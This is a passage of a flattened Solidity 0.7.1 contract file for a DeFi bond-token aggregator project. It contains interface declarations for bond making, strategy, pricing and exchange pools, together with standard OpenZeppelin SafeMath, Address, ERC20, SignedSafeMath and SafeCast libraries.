* @dev Returns the timestamp of historical price specified by `id`.
*/
function getTimestamp(uint256 id) external returns (uint256);
}
// File: contracts/BondToken_and_GDOTC/bondMaker/BondMakerInterface.sol
pragma solidity 0.7.1;
interface BondMakerInterface {
event LogNewBond(
bytes32 indexed bondID,
address indexed bondTokenAddress,
uint256 indexed maturity,
bytes32 fnMapID
);
event LogNewBondGroup(
uint256 indexed bondGroupID,
uint256 indexed maturity,
uint64 indexed sbtStrikePrice,
bytes32[] bondIDs
);
event LogIssueNewBonds(uint256 indexed bondGroupID, address indexed issuer, uint256 amount);
event LogReverseBondGroupToCollateral(
uint256 indexed bondGroupID,
address indexed owner,
uint256 amount
);
event LogExchangeEquivalentBonds(
address indexed owner,
uint256 indexed inputBondGroupID,
uint256 indexed outputBondGroupID,
uint256 amount
);
event LogLiquidateBond(bytes32 indexed bondID, uint128 rateNumerator, uint128 rateDenominator);
function registerNewBond(uint256 maturity, bytes calldata fnMap)
external
returns (
bytes32 bondID,
address bondTokenAddress,
bytes32 fnMapID
);
function registerNewBondGroup(bytes32[] calldata bondIDList, uint256 maturity)
external
returns (uint256 bondGroupID);
function reverseBondGroupToCollateral(uint256 bondGroupID, uint256 amount)
external
returns (bool success);
function exchangeEquivalentBonds(
uint256 inputBondGroupID,
uint256 outputBondGroupID,
uint256 amount,
bytes32[] calldata exceptionBonds
) external returns (bool);
function liquidateBond(uint256 bondGroupID, uint256 oracleHintID)
external
returns (uint256 totalPayment);
function collateralAddress() external view returns (address);
function oracleAddress() external view returns (PriceOracleInterface);
function feeTaker() external view returns (address);
function decimalsOfBond() external view returns (uint8);
function decimalsOfOraclePrice() external view returns (uint8);
function maturityScale() external view returns (uint256);
function nextBondGroupID() external view returns (uint256);
function getBond(bytes32 bondID)
external
view
returns (
address bondAddress,
uint256 maturity,
uint64 solidStrikePrice,
bytes32 fnMapID
);
function getFnMap(bytes32 fnMapID) external view returns (bytes memory fnMap);
function getBondGroup(uint256 bondGroupID)
external
view
returns (bytes32[] memory bondIDs, uint256 maturity);
function generateFnMapID(bytes calldata fnMap) external view returns (bytes32 fnMapID);
function generateBondID(uint256 maturity, bytes calldata fnMap)
external
view
returns (bytes32 bondID);
}
// File: contracts/contracts/Interfaces/StrategyInterface.sol
pragma solidity 0.7.1;
interface SimpleStrategyInterface {
function calcNextMaturity() external view returns (uint256 nextTimeStamp);
function calcCallStrikePrice(
uint256 currentPriceE8,
uint64 priceUnit,
bool isReversedOracle
) external pure returns (uint256 callStrikePrice);
function calcRoundPrice(
uint256 price,
uint64 priceUnit,
uint8 divisor
) external pure returns (uint256 roundedPrice);
function getTrancheBonds(
BondMakerInterface bondMaker,
address aggregatorAddress,
uint256 issueBondGroupIdOrStrikePrice,
uint256 price,
uint256[] calldata bondGroupList,
uint64 priceUnit,
bool isReversedOracle
)
external
view
returns (
uint256 issueAmount,
uint256 ethAmount,
uint256[2] memory IDAndAmountOfBurn
);
function getCurrentStrikePrice(
uint256 currentPriceE8,
uint64 priceUnit,
bool isReversedOracle
) external pure returns (uint256);
function getCurrentSpread(
address owner,
address oracleAddress,
bool isReversedOracle
) external view returns (int16);
function registerCurrentFeeBase(
int16 currentFeeBase,
uint256 currentCollateralPerToken,
uint256 nextCollateralPerToken,
address owner,
address oracleAddress,
bool isReversedOracle
) external;
}
// File: contracts/contracts/Interfaces/SimpleAggragatorInterface.sol
pragma experimental ABIEncoderV2;
pragma solidity 0.7.1;
interface SimpleAggregatorInterface {
struct TotalReward {
uint64 term;
uint64 value;
}
enum AggregatorPhase {BEFORE_START, ACTIVE, COOL_TIME, AFTER_MATURITY, EXPIRED}
function renewMaturity() external;
function removeLiquidity(uint128 amount) external returns (bool success);
function settleTokens() external returns (uint256 unsentETH, uint256 unsentToken);
function changeSpread() external;
function liquidateBonds() external;
function trancheBonds() external;
function claimReward() external;
function addSuitableBondGroup() external returns (uint256 bondGroupID);
function getCollateralAddress() external view returns (address);
function getCollateralAmount() external view returns (uint256);
function getCollateralDecimal() external view returns (int16);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool success);
function balanceOf(address _owner) external view returns (uint256 balance);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function getExpectedBalance(address user, bool hasReservation)
external
view
returns (uint256 expectedBalance);
function getCurrentPhase() external view returns (AggregatorPhase);
function updateStartBondGroupId() external;
function getInfo()
external
view
returns (
address bondMaker,
address strategy,
address dotc,
address bondPricerAddress,
address oracleAddress,
address rewardTokenAddress,
address registratorAddress,
address owner,
bool reverseOracle,
uint64 basePriceUnit,
uint128 maxSupply
);
function getCurrentStatus()
external
view
returns (
uint256 term,
int16 feeBase,
uint32 uncheckbondGroupId,
uint64 unit,
uint64 trancheTime,
bool isDanger
);
function getTermInfo(uint256 term)
external
view
returns (
uint64 maturity,
uint64 solidStrikePrice,
bytes32 SBTID
);
function getBondGroupIDFromTermAndPrice(uint256 term, uint256 price)
external
view
returns (uint256 bondGroupID);
function getRewardAmount(address user) external view returns (uint64);
function getTotalRewards() external view returns (TotalReward[] memory);
function isTotalSupplySafe() external view returns (bool);
function getTotalUnmovedAssets() external view returns (uint256, uint256);
function totalShareData(uint256 term)
external
view
returns (uint128 totalShare, uint128 totalCollateralPerToken);
function getCollateralPerToken(uint256 term) external view returns (uint256);
function getBondGroupIdFromStrikePrice(uint256 term, uint256 strikePrice)
external
view
returns (uint256);
function getBalanceData(address user)
external
view
returns (
uint128 amount,
uint64 term,
uint64 rewardAmount
);
function getIssuableBondGroups() external view returns (uint256[] memory);
function getLiquidationData(uint256 term)
external
view
returns (
bool isLiquidated,
uint32 liquidatedBondGroupID,
uint32 endBondGroupId
);
}
// File: contracts/contracts/Interfaces/VolatilityOracleInterface.sol
pragma solidity 0.7.1;
interface VolatilityOracleInterface {
function getVolatility(uint64 untilMaturity) external view returns (uint64 volatilityE8);
}
// File: contracts/BondToken_and_GDOTC/bondPricer/Enums.sol
pragma solidity 0.7.1;
/**
Pure SBT:
___________
/
/
/
/
LBT Shape:
/
/
/
/
______/
SBT Shape:
______
/
/
_______/
Triangle:
/\
/ \
/ \
_______/ \________
*/
enum BondType {NONE, PURE_SBT, SBT_SHAPE, LBT_SHAPE, TRIANGLE}
// File: contracts/BondToken_and_GDOTC/bondPricer/BondPricerInterface.sol
pragma solidity 0.7.1;
interface BondPricerInterface {
/**
* @notice Calculate bond price and leverage by black-scholes formula.
* @param bondType type of target bond.
* @param points coodinates of polyline which is needed for price calculation
* @param spotPrice is a oracle price.
* @param volatilityE8 is a oracle volatility.
* @param untilMaturity Remaining period of target bond in second
**/
function calcPriceAndLeverage(
BondType bondType,
uint256[] calldata points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity
) external view returns (uint256 price, uint256 leverageE8);
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.7.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.7.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/contracts/Interfaces/ExchangeInterface.sol
pragma solidity 0.7.1;
interface ExchangeInterface {
function changeSpread(int16 spread) external;
function createVsBondPool(
BondMakerInterface bondMakerForUserAddress,
VolatilityOracleInterface volatilityOracleAddress,
BondPricerInterface bondPricerForUserAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4
) external returns (bytes32 poolID);
function createVsErc20Pool(
ERC20 swapPairAddress,
LatestPriceOracleInterface swapPairOracleAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4,
bool isBondSale
) external returns (bytes32 poolID);
function createVsEthPool(
LatestPriceOracleInterface ethOracleAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4,
bool isBondSale
) external returns (bytes32 poolID);
function updateVsBondPool(
bytes32 poolID,
VolatilityOracleInterface volatilityOracleAddress,
BondPricerInterface bondPricerForUserAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4
) external;
function updateVsErc20Pool(
bytes32 poolID,
LatestPriceOracleInterface swapPairOracleAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4
) external;
function updateVsEthPool(
bytes32 poolID,
LatestPriceOracleInterface ethOracleAddress,
BondPricerInterface bondPricerAddress,
int16 feeBaseE4
) external;
function generateVsBondPoolID(address seller, address bondMakerForUser)
external
view
returns (bytes32 poolID);
function generateVsErc20PoolID(
address seller,
address swapPairAddress,
bool isBondSale
) external view returns (bytes32 poolID);
function generateVsEthPoolID(address seller, bool isBondSale)
external
view
returns (bytes32 poolID);
function withdrawEth() external;
function depositEth() external payable;
function ethAllowance(address owner) external view returns (uint256 amount);
function bondMakerAddress() external view returns (BondMakerInterface);
}
// File: @openzeppelin/contracts/math/SignedSafeMath.sol
pragma solidity ^0.7.0;
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// File: @openzeppelin/contracts/utils/SafeCast.sol
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
